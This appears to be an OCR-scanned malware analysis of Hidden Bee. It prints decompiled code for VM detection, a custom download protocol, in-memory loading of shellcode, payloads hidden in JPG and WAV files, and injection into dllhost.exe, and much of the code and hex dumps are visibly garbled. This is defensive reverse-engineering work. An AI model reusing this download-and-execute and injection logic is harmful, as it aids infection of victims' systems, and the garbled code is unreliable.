95 j_memset((int)Buffer, @, 2848);

96| w12 = decode_memory(&unk_2435EA8); // "SystemBiosVersion™

97 w13 = decode_memory(&byte_2435E70); // "HARDIWARE\DESCRIPTION\System"”
98| if ( read_registry_key(v13, v12, (BYTE *)Buffer, @) )

99

1ee if ( ((int (__stdcall *)(WCHAR *, const char *))strstrIA)(Buffer, "VBOX") )
181 goto set_vm_flag;

182| }

183 v14 = decode_memory(&unk_2435E48); // "VideoBiosVersion”

184 w15 = decode_memory(&byte_2435E78); // "HARDWARE\DESCRIPTION\System"
185 if ( read_registry key(v15, w14, (BYTE *)Buffer, @) )

186 {

187 V16 = decode_memory(&unk_2435E28); /4 "virtualBox"

108 if ( ((int (__thiscall *)(int, WCHAR *, _BYTE *))StrStrIA)(vl7, Buffer, v16) )
189 goto set_wvm_flag;

110| }

111 w18 = decode_memory(&unk_2435EA8); // "systemBiosVersion™

112 v19 = decode_memory(&str Windows_CurrentVersion};// "SOFTWARE\Microsoft\Windows\CurrentVersion”
113 if ( read_registry_key(v19, w13, (BYTE *)Buffer, @)

114 &8 ((idl = decode_memory(&unk_2435DB4), ((int (

115 || (id2 = decode_memory(&unk_2435D88), ((int (_ thiscall *)(int, WCHAR *, _| *)
116 || (id3 = decode_memory(&unk_2435D5C), ((int (_ thiscall *)(int, WCHAR *, BYTE *))StrStria){v2s, Buffer, id3))) )// "76487-337-8429955-22614"
117

118|set_vm_flag:

119 vm_detected = 1;

128

121| else

122 {

123|not_detected:

124 vm_detected = @3

125

126 return vm_detected;

127]}

v3 = decode_memory (&unk_2435EE8); /{ "strstria”
v18 = decode_memory(&unk_2435ECE); /7 "shlwapi.dll”
shlwapi_dll = LoadlLibraryA(v1@);

Detection of any of the features suggesting a VM results in termination of the component.

Downloading new modules
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The next elements of HiddenBee are downloaded over the custom “STLP” protocol.

B24348F6 lea eax, [ebpt+var_48)]
B24348F9 push offset asltp ; "sltp”
B24348FE push eax

B24348FF call j_strcmp

e2434984 pop ecx
82434985 test eax, eax
@24349a87 pop ecx
82434988 jnz loc_2434AD9

The raw TCP socket created to communicate using the SLTP protocol:

socket = WSASocketA(2, 1, @, @, @, lu); // address family: 2 (AF_INET)
// type: 1 (SOCK_STREAM)
f/ protocol : @ (unspecified)
// lpProtocolInfo: NULL
// group: NULL
#/ flags: 1 (WSA_FLAG_OVERLAPPED)

vB[13] = socket;
if ( socket I= -1
i
vInBuffer = @x25A287B9;
w32 = @xDDF3u;
Vi3 = @x4660;
vid = @x8Eu;
w35 = @xE9u;
viE = @x7e;
= @xE5u;
= @Bx8Cu;
39 = Bx74;
= B;
val = @x3E;
if ( BindIoCompletionCallback(socket, LpoverlappedCompletionRoutine, @) )
{
callback = @3
if ( WSAToctl(vG[13], @xC880@886, &vInBuffer, @x18u, &callback, 4u, (LPODWORD}&cbBytesReturned, @, @) I= -1 )
*(_DWORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[4] = @;
*(_DWORD *)&name.sa_data[8] = @;
*(_WORD *)&name.sa_data[l2] = @;
23
viz = vB[13];
name.sa_family = 2;
*(_WORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[2] = @;
if ( bind(viz, &name, 16) != -1 )
j_memset((int)ve, @, 28);
if ( 'callback(ve[13], &v26, 16, @, @, &cbBytesReturned, ve) && WSAGetLastError() == Ox3ES )
return 1;
}
1

closesocket(ve[13]);

The communication is encrypted. We can see that the expected output is a shellcode that is loaded and executed:
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do
{
5 = vA[1];
i S )
if (w5 ==2)
{
B = *(va - 1);
if (w6 + *vd > a2 )
break;
fz zize = *yd:
=_=LleE St |
ustom_fs = & buffer[ve];
}
}
else
if ( *(v4 - 1) + *va > a2 )
break;
new_module = (wvoid (_ stdcall *)(int (_ stdcall **)(int), _BYTE *, DWORD))VirtualAlloc(®, *v4, Bx1006u, Bx40u);
if ( new_medule )
j_memepy((int)new_medule, (int)& buffer[*(v4 - 1)], *v4);
++bufferaz
vd += 3;
b
while { (unsigned int)buffera < *({_DWORD *)_buffer + 1} };
if { new_module )
{
if ( custom_fs }
{
F malloc,
(__stdecall *)(int))to_memcpy;
int))virtualAlloc;
T i int {__ int))virtualFree;
decode memory(&lnput arr); /! "IwQueryInformationProcess”
= decode_memory (&str_ntdll d1ll);
/8 = GetModuleHandlef(v7);
functions_list[5] = ( nt (__stdecall *)(int))GetProcAddress(vs, v9);// ZwQueryInformationProcess
new_module(functions list, custom_fs, fs_size);
VirtualFree(new_ medule, @, axseebu) ;
}
}

The way in which it is loaded reminds me of the elements we described recently in “Hidden Bee: Let’s go down

the rabbit hole“. The current module loads a list of functions that will be passed to the next module. It is a
minimalistic, custom version of Import Table. It also passes the memory with the downloaded filesystem to be

used for further loading of components.

The !rcx package

This element retrieves the custom filesystem used by this malware. As we know from previous analysis, Hidden
Bee uses its own, custom filesystems that are mounted in the memory of the malware and passed to its
components. This filesystem is important for the execution flow because it contains many other components that

are supposed to be installed on the attacked system in order to continue the infection.

As mentioned before, unpacking the JPG gave us an !rcx package. After this package is downloaded, and its
SHA?256 checksum is validated, it is repackaged. First, at the end of the !rcx package, the list of URLs (JPG,
PNG) from the previous module is copied. Then, the ARIA key is copied. The size of the module and its SHA256

hash are updated. Then, the execution is redirected to the first stage shellcode fetched from the !rcx.

This shellcode was the one that we saw at first, after decoding the !rcx package from the JPG. Yet, looking at this
part, we do not see anything malicious. The elements that are more important are well protected and revealed at

the next execution stages.

The shellcode from the !rcx package is executed in two stages. The first one unpacks and prepares the second.

First, it loads its own imports using hardcoded names of libraries.
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eaeaaaBl sub edi, ecx

282883 mov [ebp+var_4C], EEh ; "K'
BERBEAEY mov [ebp+var_4aA], &5h ; ‘e’
BPRBBAEF mov [ebp+var_48], 72h ; 'r'
2eepaacs mov [ebp+var_46], GEh ; 'n’
aeesaacE mov [ebp+var_44], &65h ; 'e'
aeaeea0l mov [ebp+var_4@], 33h ; '3°
aeae8a07 mov [ebp+var 3E], 32h ; '2°
282800 mov [ebp+var_3C], 2Eh ; ".°
2E28ERE3 mov [ebptvar_3A], E4h ; "d°
BERBBAES mov [ebp+var_18], &Eh ; 'n’
BEBBBAEF mov [ebp+var_16], 74h ; 't'
BERBRAFS mov [ebp+var_14], &64h ; 'd’
BERBRAFE mov [ebpt+var_E], 2Eh ; ".'
2eae8181 mov [ebp+var _C], &4h ; "d’
aeaee187 mov ebx, [esi]

The checksums of the functions that are going to be used are stored in the module and compared with the names

calculated by the function:

llunsigned int _ stdcall calc_checksum(_ BYTE *func_name)
2

3| _BYTE *_func_name; // edx

4| unsigned int checksum; // eax

5| char next_char; // cl

G| unsigned int prev_res; // esi

7| int _next _char; [/ eax

a8

9| _func_name = func_name;

18| checksum = @;

11| for { next_char = *func_name; next_char; ++ _func_name )
12| {

13 prev_res = (checksum >» 13) | (checksum << 19);

14 _next _char = next_char;

15 next_char = func_name[1];

16 checksum = prev_res + _next_char;

17| 1}

13| return checksum;

19[}

It uses the functions from kernel32.dll: GetProcessHeap, VirtualAlloc, VirtualFree, and from ntdIl.dll:
RtlAllocateHeap, RtlFreeHeap, NtQueryInformationProcess.

The repackaged !rcx module is supposed to be supplied as one of the arguments at the Entry Point of the first

shellcode. It is most important because the second stage shellcode will be unpacked from the supplied !rcx

package.
Ll 4
2eesal99 mov ebx, [ebpt+arg_C]
aeesaloc mov ecx, [ebx+d]
2eae819F cmp dword ptr [ecx], 'ker!’
Geaa81AS jnz loc_28B

A new memory area is allocated, and the second stage shellcode is unpacked there.
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new_module_ep = 83

vl5 = GetProcessHeap(8, *((_BYTE **}i + 2));
vl6 = (_BYTE *)RtlAllocateHeap(vlS);

indx = @;

buffer = vle:

if ((vie )

1

if ( *((_DWORD *)i + 2) > @u )

w18 = i + 16 - v16;

do

{
++inde;
*v16 = v16[v18] ~ @xEl;
+vl6;

h
while ( indx < *({_DWORD *}i + 2) };
_to _rcx_ptr = to_rcx_ptr;

allocated bufl = (unsigned _ intl6 *)_allocated_bufl;
if ( decode_module(
(int)&virtualalloc,// loaded_functions_list
(int)buffer,
*((_DWORD *)i + 2),
(int)_allocated_bufl,
F((_DWORD *)i 4 3)) == *((_DWORD *)i + 3) )
new_module_ep = allocated bufl;
v2@ = GetProcessHeap(@®, buffer});
RtlFreeHeap(v2e);
if ( new_module_ep )
((void (_ stdeall *)(int (_ stdcall **)(_DWORD, _DWORD, signed int, signed int), int, _DWORD, _DWORD)}new module ep)(
&virtualalloc, // loaded_functions_list
flag,
_to_rcx_ptr[1],
*_to_rcx_ptr);

result = (unsigned _ intlé *)VirtualFree(_allocated_bufl, @, @x3000);

Inside the second shellcode, we see strings referencing further components of the Hidden Bee malware:
/bin/i386/preload /bin/i386/coredll.bin

The role of the second stage is unpacking another part from the !rcx: an !rdx package.

if (Crdx ptr )

w32 = v18[3];
crypt_init(&crypt ctx, &crypt keybuf);
dec_size = @;
if ( wie[2] )

{
chunk_ptr = (_BYTE *)sizea;
for { 1 = (int)((char *)v18 - sizea + 16); ; i = (int)}({{char *)vl@ - sizea + 16} )
1
crypt_round{chunk_ptr, &chunk_ptr[i], (int)&crypt_ctx);
dec_size += 16;
chunk_ptr += 16;
if ( (unsigned int)dec_size »= v1e[2] )
break;
b

rdx_ptr = _rdx_ptr;

if ( decompress{(int)functions_list, (int)rdx_ptr, &332, sizea, v18[2]) )
goto LABEL_38;
w17 = ((int (__stdcall *)(signed int, signed int))}functions_list[2])(8, 12);

w18 = (_DWORD *)((int (__stdcall *)(int))functions_list[3])(v17)};
v3id = vl1g;
if ( 'vis )

goto LABEL_38;
*v18 = rdx_ptr;
if ( *rdx ptr == ‘fdr!’
1
v18[1] rdx_ptr + 13
v1g[2] = vie[3];

}
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aeeessly mov [eax], ebx
aeeerslE cmp dword ptr [ebx], 'xdr!’
@eeae621 jnz short loc 631

From our previous experience, we know that the !rdx package is a custom filesystem containing modules. Indeed,

after the decryption is complete, the custom filesystem is revealed:

HESEESER FUSH ERX
HASEESE 1 CALL HBESEZESE crypt_init
HASEESEE AHD OWORD FTE S5:[EEBF+EXC]. G:&
HASEESER CHF OWORD PTR DS:[ESI+E4S],@xE
HESEEEEE |+ | JEE SHORT HBRSSHSF2

BASEEECH HMal EEX, OWORD FTE S5:[EEF+8x18]
BASEESCS LEA ERX,DOWORD PTR DS:[ESI+@x18]
BESEESCE SUE ERH, EBX

HESEESCE MO OWORD FTRE S5: [EEF+EXE1. EAX
FESEESCE [+ | JHP SHORT EBRS&RS0E

HASEESCD Mal ERx, OWORD FTR S5:[EEBF+E25]
BASEES0R LER ECX,OWORD PTR 55:[EBP-8u15C]
HESEEE0E ROD ERX, EBX

BASEEE0S FUSH ECH

BASEES0Y FUSH ERX

BESEES0A FUSH EEX

HESEES0E CALL BBS&z192 crypt_round
HESEESER AOD OWORD FTR S5:[EEF+8MC]. 0= 19
HHSEESES AODO EE:X, Ex 1@

HASEEASET Mo ERX, OWORD FTE S5: [EEBF+ExC]
HESEESER CHP ERX, OWORD PTE DS:[ESI+E#E]
BEASEESED |~ | JE SHORT GAS&ESCD

BASEESEF MOL EEX, OWORD FTRE S5: [EEF-B8181
BESEESF 2 FUSH OWORD PTR DOS5:CESI+@xE]
HESEESFS LER ERx, OWORD PTR S55: [EBFP-B2C]
HESEESF S FUSH OWORD PTR 55: CEEP+@:168]
HHSEESFE FUSH ERX

HASEESFC FUSH EEX

HHSEEEFD FUSH EDI

CALL B8SEBEAE

ARG E TEST ERX,ERAX

BESEEEES [+ | JHE SHORT BBS&EE4E

HESEEEET FUSH &xiC

FHSEEEED FUSH &x3

CHLL DHERD FTR DO5:CEDI+@R:3] kernel32.GetProcessHeap

e e e TR

4
ERx=BE88E8EHE

Address | Hen dump ASCIT

gizipadclzl 72 64 FEIZ2 BE DR B0 ED @1 DB B0 20 G5 08 08| frda'™.. .70, 08,
HlzigEcs| 62 69 6E ZF 69 22 38 3¢ 2F ¥@ 72 65 &C &F &1 4| bin-iZ8é-preload
HisiBEcc| 08 B0 45 A8 08 B8 60 B3 08 B8 BA 2C 81 88 62 69| ..E...rll. .. B.b1
BisieErs|6E 2F 61 6D &4 35 34 2F 63 6F 72 65 &4 6L &0 ZE|n-amdéd-coredll.
EizipEzci 62 69 EE BB DA &4 OB B0 BB &D 24 Bl B8 B8 89 08 bin..d...mdB....
EizipEscied 62 €9 6B 2F &1 D 64 26 24 2F 7O ¥2 &£ &C &F|.binsamdedsprelo
EiziBEns 61 &4 BE BB OF B0 BE B0 S0 20 Bl B0 18 G5 00 00) ad..g... ;=B k..
GiziBEps 62 €9 EE 2F &9 22 22 26 2ZF &B 7@ 6C EF &1 &4 &5\ bin-i288-kploade
@lzi@EEce| v2 ZE 62 69 SE BB DA AD 0B @0 BE YD 42 @1 688 08| r.bin..g... 2B0..
BlzigEns| 10 88 68 62 &9 6E 2F 61 &0 &4 26 34 ZF &2 &F &D|..bin<amd&d-con
HisiBEES| 60 6F 6E ZE &4 &C &C B0 BA CE 98 828 88 70 SE Bl mon.dll..fFa.. 30
BisiBEFS| B8 B0 45 B8 B8 &2 &9 6E ZF 69 33 38 36 ZF 6B 6C|..E..bin~s1386-k ]
EiziBEinsfeF &1 &4 65 Y2 ZE &2 69 E6E @O BB ES B0 B8 88 70| ocader.bin..fi...}
Ei2iEiicfA2 61 B 62 OF BB BR &2 &9 6E 2F ¥2 &8 &9 &0 ZE|uB.h-..binsshim.
Eizi@izelel €9 EE BB 0E @Y B1 B0 BB EE DR B1 BB 20 60 08 bin..-8..6 B.0..
Gizimizoion 62 &9 6E|ZF &1 6D 64 26 24 2ZF ¥B F2 2ZE &2 69| .binsamdédspr.bi
Ei2i@E142(6E ZE 72 69 5F BB DA 22 01 @0 0B &5 AE Bl 88 28| n.zig..(8..e30.0
Hizi@icc|og 80 B8 62 &2 6E ZF 69 35 3% 26 2F F8 ¥2 ZE &2|...binsiZ86-pr.b
BisiEics| 6% 6E 2E 73 6% &7 DA B0 45 81 B8 B8 ES HE 81 08| in.sig..FB. 620,
Hisi@ivc|oa BH B8 B8 52 &9 6E 2F &1 60 &4 36 34 2F 7B 72| ....bin- andéd- pr
Eizi@ise| 2B 62 €9 6E DA BB &2 A1 BB B8 ES BS 81 B8 80 02 .bin..cd..hAB..0
Eizi@icociod BE 62 &9 6B 2F €9 223 28 26 2F VO F2 2E 62 €9 ..bin-si22cspr.bi
Ei2i@Einsf6E GO BE 27 6] B0 GE EE BD @1 0B FO BE 08 G0 &2\ n..ql..h20.-%..b
Gizi@ipe| e 6E 2F &1 6D &4 26 24 2ZF EB 7@ &C EF &1 &4 &E| insamdéd-kploade
@i2i@ice|v2 ZE 62 69 SE BB DA AZ Bl @0 6@ DS C2 @l 688 08| r.bin. .EB..AME..
Hizi@ibs| 16 88 B8 62 &2 6E ZF 69 33 3% 26 2F &2 &F &0 &D| ... bin~ 1386 comm
Bi21B1ES|6F 6E 2E &4 6L &C BB B8 CH 81 B8 B8 DS 0P 81 08 on.dll. .8, .FHE,
gisi@iFcioa ZE 81 88 62 &9 6E 2F 69 33 38 36 ZF 63 &F 72| ..8.bin-i386-cor
EiziEzas 65 &4 6C &C ZE &2 €9 EE DB BE BB B0 B8 B8 DS 67 edll.bin...... -
EiziEz1oi@2 60 28 B2 0@ B8 &2 69 6E 2F &1 60 &4 26 24 2F| e (M. binsamdéds
Eizipzzol el 6C 6F &1 &4 65 72 2E &2 €9 6E BO BB 98 98 98|k loader.bin..EEE
Ei2iE=22 B2 2E OO G0 0F B0 DR B0 OB B0 0B B0 OB B GE O RM. . ...cciieana
GiziBz40| 08 B0 60 A0 08 B0 OB B0 DB B0 0B B0 BB SB OB E5| ... ..0000.. koe
HlziE=tcioa 72 B8 6E DB &5 DB &C B8 33 08 32 88 ZE 88 24| .r.n.e. 13020, .d
BisiBzcc{oa 6C B8 &6C 0A BE O BS BA AR AR AR FF 38 FF S8 . l.l... ap
gisi@=rs{@4 FF EB S8/ 5B CC SB DB 53 ER B2 52 51 S8 ES 7H| # OxilrddarfREPR:
EiziE=22{ @2 80 68 C3/ 55 8B EC 82 EC @C 2B 4588 29 45 FCle., HUodag. GEQEER
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So the part that was hidden in the JPG is, in reality, a package that decrypts the custom filesystem and deploys the
next stage modules: /bin/1386/preload and

/bin/i386/coredll.bin

. This filesystem has even more elements that are loaded at later stages of the infection. Their full functionality

will be described in the next article in our series.

Even more hidden

From the beginning, Hidden Bee malware has been well designed and innovative. Looking at one year of its
evolution, we can be sure that the authors are serious about making it even more stealthy—and they don’t stop

improving it.

Although the initial dropper uses components analogous to ones observed in the past, revealing their encrypted
content now takes many more steps and much more patience. The additional difficulty in the analysis is

introduced by the fact that the URLs and encryption keys are never reused, and work only for a single session.

The team behind this malware is skilled and determined. We expect that the Hidden Bee malware won’t be going

extinct anytime soon.

1 package

2 |

2! clasas PayloadWin32

4 {

5

[ public static wvar payload:Vector.<uint> = Vector.<uint>({[2420162609,6130450447,1620856352,1768,134222080,
7

8

9 functicn PayloadWin32 ()
10 {

11 super();

12 }

13 }

14 }

The configuration file (config.cfg) contains the URL to another WAV file.

The payload is padded with NOP (0x90) bytes, and the parameters, including the configuration, are filled there

before the payload runs.
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paylEnd = O;
payllength = PayloadWin32.payload.length;
indx = 07
while (indx < paylLength - 1)
i
if (PayloadWin32.payload[indx] = C=S020202C
&& PayloadWin32.payload[indx + 1] = C=S020202C
)
i
paylEnd = ind=x;
break;
}
indx++;
}
if(paylEnd = O}
i
indx = 07
while (indx < paraml.length})
i
Sfwrite parameters at the end of the payload:
PayloadWin32 .payload[paylEnd 4+ indx] = paraml [ind=x]:
indx++;
}
}

The shellcode: downloading the second WAV

The second WAV, in contrast to the first one, is always downloaded and never embedded. It is retrieved by the
“PayloadWin32” shellcode (9aec11{f93b9df14f060f78fbb1b47a2), deployed after the successful exploitation.

Looking inside this shellcode, we find the function that is responsible for downloading and decrypting another
WAV. The shellcode uses parameters that were filled by the previous layer. This buffer contains the URL that will
be queried and the key that will be used for decryption of the payload. It loads functions from wininet.dll using
their checksums. After the initialization steps, it queries the supplied URL. The expected result is a buffer with a
header typical for WAV files.

v2 = al2;
v3 = &input_buffer[-*{unsigned __intle *}input_buffer];
func_checksums = (int)&3[*((unsigned _ intle *}input_buffer + 1)];

buf = &3[*(unsigned _ intl6 *}(func_checksums + @x7@) - *({unsigned _ intl6e *}input_buffer + 2}];
zero_buffer(&functions_list, @wd4Cu);

result = load wininet_functions(v2, (int (_ stdcall **)(char *))&functicns_list, func_checksums});
if ( result )

copy_ 16 bytes(buf, &crypt key); // copy the crypto key
result = download_from_url(v2, &functions list, buf, &module size);
wav_buf = (_BYTE *}result;

if { result )

{

if ( *(_BYTE *)result == * // check the WAV header

R’
&& *( BYTE *)(result + 1) == "I'

&& *( BYTE *)(result + 2) == "F'

&& *(_BYTE *)(result + 3) == "F’

&& *(_DWORD *)(result + 4) <= module_size
&& *( BYTE *)(result + 8) == "W’

&& *(_BYTE *)(result + @xA) == "V’

&& *(_BYTE *)(result + Bx24) == 'd’

&& *( BYTE *)(result + @x26) == "t' )

msize = *{_DWORD *){result + 6x28)};
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As we already suspected, the data of the WAV (starting from the offset 0x2C) contains the encrypted content.
Indeed, blocks that are 8 bytes long are decrypted in a loop:

module size = *({_DWORD *)wav_buf + 8oucA);
if ( wav_buf != (_BYTE *)@xFFFFFFD4 )

if ( I({mSize & 7) )

1
chunk_ptr = wav_buf + 8x2C;
crypt_init((int)}&crypt_ctx, Bcrypt_key, 16);
msize = module_size;

w23 = @;
if { module_size )
1

do

crypt_block((int)}&crypt ctx, chunk ptr, chunk ptr);
v23 += 8;
m5ize = module_size;
chunk_ptr += 8;

¥

while { v23 < module_size };

¥
¥

After the decryption is complete, the next module will be revealed. It is interesting to take a look at the expected
header of the payload to learn which format is used for the output element. This time, the decoded data is

supposed to start with the following magic numbers: 0x01, 0x04, ..., 0x10.

if ( mSize > éxl1C

&% *((_DWORD *)wav_buf + @xE} <= mSize
8% wav_buf[@x2F] == @x18
&% .-.'a'-;_L*.u"&xzc] == 1 // start of the payload header
&% wav_buf[@x2D] == 4
&% mSize > *((_DWORD
&&
23

o

ywav_buf + @x16)
ywav_buf + @xD)
7))

o

mSize > *((_DWORD
P(wav_buf[8x3C] & 3
{
allocated buf = { BYTE *)virtualalloc(®, mSize, @x1988, 0x40);
v23 = (unsigned int}allocated buf;
if ( allocated_buf )

new_module ep = (void (_ stdcall *)(unsigned int *))&allecated buf[*((_DWORD *)wav_buf + @xD)];
copy_buffer(allocated_buf, wav_buf + 8x2C, module_size};
v18 = wav_buf + 8x2C;

v1E

vl7 = w23; // _allocated buffer
vl = @;
vl = 8;
vie = 8;
new_module ep(&v17); // call the decoded paylead
'
VirtualFrees(v23, @, 8x86008);
}
}

The second WAV: an executable in proprietary format

On the illustration below, we can see how the data of the WAV looks after being decrypted
(9b37c9ec19a53007d450b9bI9c8febbe?):
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Hddress |Hex dump HSCII

FZEEEEAE| 52 49 46 46/ C4 BE B8 BA 57 41 B6 45 &6 &0 74 28| RIFF—2..WAVEfmt
FRZEEEELA| 1R BE B8 B8 A1 BA A1 BA S0 SE B8 B8 @8 YO A8 88|k, .. B.8.Cx ...,
BZEEEEZH| B2 BB 16 B8 64 &1 74 61 08 BE 60 0F @1 B4 G5 16 @, b.datads . . G,
E2EEEEZE| 10 BA 74 @@ AC GBS B8 @@ 22 BE B8 B0 VO G5 B8 B8|L.t..%.. k2. .ps.
E2EEEE4E| 18 BS B8 B8 BB 66 B8 B8 @9 B8 11 B8 &4 FE GE 66| 5. .. ..., i.d°nf
EEEEEEA| 66 24 6E 66 A6 BE B3 AC BB 26 88 41 4F 58 44 4F| Finff....&.A0X00
EEEEEcE| 46 39 38 24 6E 65 66 BB BB BC B8 B2 B8 4B 4E SC|F285nff....H.KH>
EZEcEETE|{ 4B SR 43 39 28 24 6E 66 S5 DO BB BB @8 B4 B8 49| KEC98Snff. .. %, 1
HZEEEEEE| 6B 68 63 64 6F FE 24 6E A6 65 BB BA BA BE AS BA|khcdo”Snff....*.
EZEEEETE| 47 59 BC 49 58 5E 24 6E 66 65 BB B A8 AR A8 88| GY-IA"5nff......
EZ2EEEEAE|8C EFX AE 97 9F 65 BO 6B 9B SC 88 BE 24 75 82 80| [£+S&F2k T Fafue.
E2EEEEER| 2@ B 82 80D 90 BB 932 IC CA 95 93 IC EE 95 93 1C|ASE. kd=Fa"Far
E2EEEECH| S 2E 6B D2 F9 58 BS& B4 @7 32 BS 58 47 7B B8 S5E| . kE"HA+- 2APG{AU
Gzec@EEnal 11 45 15 4E 89 BF BEY 22 80 AF 02 70D 4F SE AS 63| AESHE_El2-=0MI[Ec
EZEEEEEA| 98 F5 82 B0 22 32 Al 6F 3C CE EE 38 SE DA FO E2| Eué. #2 [o<iFtBA rtd
EZEcEEFE| 58 3F 15 SA FA 34 19 4% FE EE 19 BE ZF 87 D8 1C| KTEZ 44 Imfi+H gEL
EzecElEE| IF BB 81 CF 27 75 80 CA ZE CF 8F 66 9E 33 69 BF| Wy ld'uz=.OCfH3(E
pzeckEllEle3 AL BS 13 97 BF 2C 38 @7 CH ¥E 38 E3 ER 82 28| ciflsSk, 5«*pBAie
E2EEE1ZA|{CE 48 94 @5 1@ C6 95 EB BA AL CO EC 72 AB BF D2|irEd: AL (=g
E2ecElzE|{B2 FL 81 50D B9 16 AD 41 56 F2 39 06 B2 BB DE 11|&“A1| -sAU 97 |#&
A2EAE14G[9C FC SF FS 11 FL1 BF 5F &E 2A 16 74 2F 2E BS AE| #AP 4™ _n#ot~. A=
G2ecBlCE| BB 49 87 VP4 22 @5 BC ER 1¥ SF 28 8F EE Y5 2B 24| [lctafl.i#Sboludd

This is an executable component that is loaded into Internet Explorer. After it decodes the imports, it starts to look

much more familiar:

Address |Hed dump ASCII

azZAsEEEa| Al a4 88 16| 1C B8 74 88| 6AC BS B8 88|52 BE 690 a0|Ge.ko.t. . d. k2.,
EZASEE1E| FE B5 88 G@| 12 BS @9 00|00 00 @8 88|87 00 11 88|pe. . TS i eaead.
BZASEEZA| 6E 74 &4 GC|E&C ZE &4 GC|AC BE B8 AC| A8 26 B8 4B[ntdll.dll... &K
HZASEE3A| 45 52 4E 45|4C 33 32 ZE| 64 &C 6C BA|AB @C B8 88| ERMELZZ.dlLl....03
BZOSEE4E| BB 41 44 55|41 CA 49 58|22 2E &4 EC|&C G 68 GE|.ADUAPTEZ.dLl..d
E2ASERCA| A6 B4 B8 42|61 62 69 BE|EE 74 Z2E 64|EC &C B8 88| .+.Cabinet.dll..
HZ2ASEEEE| BA B0 A5 BB| 40 53 B& 42|52 B4 2E &4|&C &C B8 8AE(| ..+ .MSUCRT.dLL..
BZASE67E| B8 B8 B8 B8| 12 FA 20 77|F8 47 SF 77|E4 AZ 98 77| . ...t 2w-GowWhisw
HZAZEEgE| 1E 3B 9F FF|48 52 9F FF|CB 55 9F FF|CB 52 9F 7F|+; CwESCw -UCw 150w
BZASEE36| 08 54 SF 77| LF 53 92 77|28 50 90 77| TS B2 99 77| LTCWTS (Wi ~EwsbEw
HZASEEAA| C4 73 9@ FF|48 60 9@ FF|68 41 8F FF|ES 57 91 7F|.Om-wwiH" - wihuos
HZASEEEA| 06 3C SF FF|CB 4C SF FF|EE 2ZA BB 77|08 D9 BE 77| i{CwiLCwt#*dud Ju
HZ2ASE8CA| 2B 45 BC 77|41 CF BE 7F|A2 BS BA 77|45 BA BE 77| +E.WwADIwiA. wFl Jw
H2ASEE08| &2 BF BE 77|02 33 BC 7PFP|CF CO BB 77|A4 10 BC 77| b#IwE3. wiFJuwlH.w
BZASEEER| 4F 21 BC FY| 26 2C B0 FY|BE ZF GC FF|FC CA BE 77| 0t uwlki.wAs.wi=ag

We can see that it follows an analogical structure to the one described in last year’s article.

This module is first executed within Internet Explorer. Then, it creates another process (dllhost.exe) in a

suspended state:

EEGEEE 2025 FCFFFFFF |LER ERX,OWORD PTR SS: [EEF-G:241

BZAZEATF =1 ] FUSH ERX

B2ASERS8 1) FUSH ESI

B2ASERS1 56 FUSH ESI

BZAZEASZ &0 &4 FUSH Eud

B2A26EA24 =1 PUSH ESI

B2A2EA25 =1 FUSH ESI

HZAZEAZE j=1-] FUSH ESI

BZA2EASTF 2025 24FOFFFF |LEA ERX,OWORD PTR SS: [EEP-Bx2CC]

azAseRsh =) FUSH ESI

B2ASEASE =15 ] FUSH ERX

H-HEAHEE FF15 2881ASEz2 | CALL DWORD FTR DS5: [Bx2AS01281 kernel32. CreatePraocessil
S5Ca TEST ERx,ERAX

HZAZEAST |~ 74 40 JE SHORT B2A2BREG

1l

Stack address==@AZ21AC1288, (UNICODE =E:\\Nindnwi\\EyEtEMSE\\dllhDEt.eae“]
ERX=BEE0EEE 1

Address |Hex dump ASCII

BZASEEAA| A1 B4 BE 18| 1C BA 74 BA|AC BE B8 BA|E2 EBE B8 6| Ae.bo.t..$. .82,
HZASEE1A| FE B5 B8 BAA| 12 BS B8 BA| A0 B0 B8 AA| A7 BE 11 A6|pe. . T5. ... ..., 1
B2ZASEEZA| 6E 74 &4 BC|EC ZE &4 EC|EC BE BE AC|BA 25 BE 4B ntdll dll....%.
H2ZA2E828| 45 52 4E 45(4C 33 32 2E|64 6C 6C BA|AE GC A8 @A2|ERMELZ2.dll....
HZASEE48| 88 41 44 E&(41 BB 49 22|32 2E &4 &C|EC BE 8@ BE|.ADVARIZZ2.dLL..
BZASE6cE| BB G4 B8 43 61 62 69 EE|65 74 ZE 64|EC EC 6O 60| .e.Cabinet.dll..
HZASE8EE| AR B8 85 88|40 53 56 43|52 54 ZE 64| 6C &C 88 88| ..+ .MSUCRT.dLL..
HZASEETE| 00 B0 88 @8| 12 FA 90 FF|FE 47 9F FF|E4 AS 98 FF|e... 1 2w-GCwidsw
HZASEEEA| 1E 3B 8F FF|48 53 8F FF|CB 55 8F FF|CB 53 8F 7F|+; CWwESCW -UCw 50w
BZASEE3E| 08 54 SF 77| LF 53 92 77|28 50 90 7Y T8 B2 99 Y| LTCWTS [wiEwsbEw
HZASEEAA| C4 73 9@ FF|428 6@ 9@ FF|E2 41 SF FF|EE 57 91 7F|.A=-wwiH™ - wihead
EZASEBER| 08 3C S9F FF|CB 4C SF FF|EE 2A BB 77|08 D9 BE 77| i{Cw'LCwt#*Iud Juw
H2ZASEECHEI 2B 45 BC PFPI41 CF BB PPIA2 BS BA 77l 46 BA BB 77| +E. wASIwifA. wFll 2w

M -

It injects its original copy there (769a05f0eddd6ef2ebdd13618b244758):
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(27 dilhost.exe (2784) Properties

| General I Statistics I Performance | Threads I Token I Modules | Memory | Enyironment I Handles I Comment

Hide free regions
Base address Type Size  Protect... Use Tat
> 0x 10000 Private 128kB RW 1
> 030000 Mapped 1EkE R
> Ox40000 Private 4kB RW
o (50000 Mapped 52kB  RWX
0x50000 Mapped: Com... 52kB  RWX
7| dilhost.exe (2784) (0x50000 - 0:5d000) = ===
ualadalafulals] ﬂl 04 00 10 1lc Oz 74 00 Oc OS5 00 00 88 be 00 00 ...... Lovannanna -

00000010 70 06 00 00 18 & 00 OO0 OO0 OO0 00 00 09 00 11 00 Peveveeannnnnnna (W
00000020 &4 Te &e 66 &6 24 6e 66 &6 00 00 Oc 00 2& 00 41 d~nffsnff....&.R
00000030 4f 58 44 4f 46 39 38 24 6e 66 66 00 00 Oc 00 0F COXDOF38snff.....
00000040 00 4k 4e 5c 4b 5a 43 39 38 24 6e &6 66 00 00 Ob ENNEZCSESnff...
00000050 00 04 00 49 &b 68 63 64 6f Te 24 6e 66 66 00 00 ...Ikhcdo~Snff..

000000680 Oa 00 O& OO0 47 59 5c 49 58 5e 24 &e 66 &6 00 00 ....GY°NIX~&nff..
